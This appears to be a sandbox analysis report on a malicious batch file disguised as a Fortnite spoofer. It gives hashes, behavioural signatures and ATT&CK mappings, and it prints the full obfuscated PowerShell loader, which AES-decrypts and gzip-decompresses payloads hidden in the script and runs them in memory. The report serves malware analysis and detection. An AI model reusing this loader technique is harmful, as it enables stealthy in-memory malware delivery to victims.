9b4083ac2dee0d90ca305780b1318931af119cccd8e9516dd443f3a5ff3e0af7

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
23-01-2025 18:46

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

SpooferFornite.bat
Size

289KB
MD5

1776b4ed272a4c874cb62d3827da9330
SHA1

15611ee351e8fdb75b6d65fb5a2e111c3fed6b2e
SHA256

9b4083ac2dee0d90ca305780b1318931af119cccd8e9516dd443f3a5ff3e0af7
SHA512

e498841716e88b7ad28b53d33e4a448361abab540642171f9a8fc07f6f4e097d9aff20f4489c2ad49a76b0b94f27cc57a234022fe1c75174af641c72151d613e
SSDEEP

6144:TO/Pb0ZIWr3AuGHdOOJvpW2hZkewDbShSj2+AoACcSc2hJaDeAnul2xojol9r:TO/bTNHdxW2rkewDbc8cH/x4o3r

Score

7^/10

execution

Malware Config

Signatures

Deletes itself 1 IoCs

pid	Process
2840	cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1344	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1344	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1344	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2840 wrote to memory of 1344	2840	cmd.exe	29
PID 2840 wrote to memory of 1344	2840	cmd.exe	29
PID 2840 wrote to memory of 1344	2840	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\SpooferFornite.bat"
1⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('noPxVH3ddu1PqIPnSt7r1xd0OgXVM9X59CLWUoO1zk4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IjrdQlHUkjBl27IgF/hgbA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $MKRBP=New-Object System.IO.MemoryStream(,$param_var); $PgIYR=New-Object System.IO.MemoryStream; $kyRBD=New-Object System.IO.Compression.GZipStream($MKRBP, [IO.Compression.CompressionMode]::Decompress); $kyRBD.CopyTo($PgIYR); $kyRBD.Dispose(); $MKRBP.Dispose(); $PgIYR.Dispose(); $PgIYR.ToArray();}function execute_function($param_var,$param2_var){ $WZIdA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $beHJX=$WZIdA.EntryPoint; $beHJX.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\SpooferFornite.bat';$CsLar=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\SpooferFornite.bat').Split([Environment]::NewLine);foreach ($HvFyD in $CsLar) { if ($HvFyD.StartsWith(':: ')) { $zZbDh=$HvFyD.Substring(3); break; }}$payloads_var=[string[]]$zZbDh.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1344

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1344-4-0x000007FEF58EE000-0x000007FEF58EF000-memory.dmp

Filesize
4KB

Download
memory/1344-5-0x000000001B530000-0x000000001B812000-memory.dmp

Filesize
2.9MB

Download
memory/1344-7-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

Filesize
9.6MB

Download
memory/1344-9-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

Filesize
9.6MB

Download
memory/1344-8-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

Filesize
9.6MB

Download
memory/1344-6-0x00000000022C0000-0x00000000022C8000-memory.dmp

Filesize
32KB

Download
memory/1344-10-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

Filesize
9.6MB

Download
memory/1344-11-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

Filesize
9.6MB

Download
memory/1344-12-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

Filesize
9.6MB

Download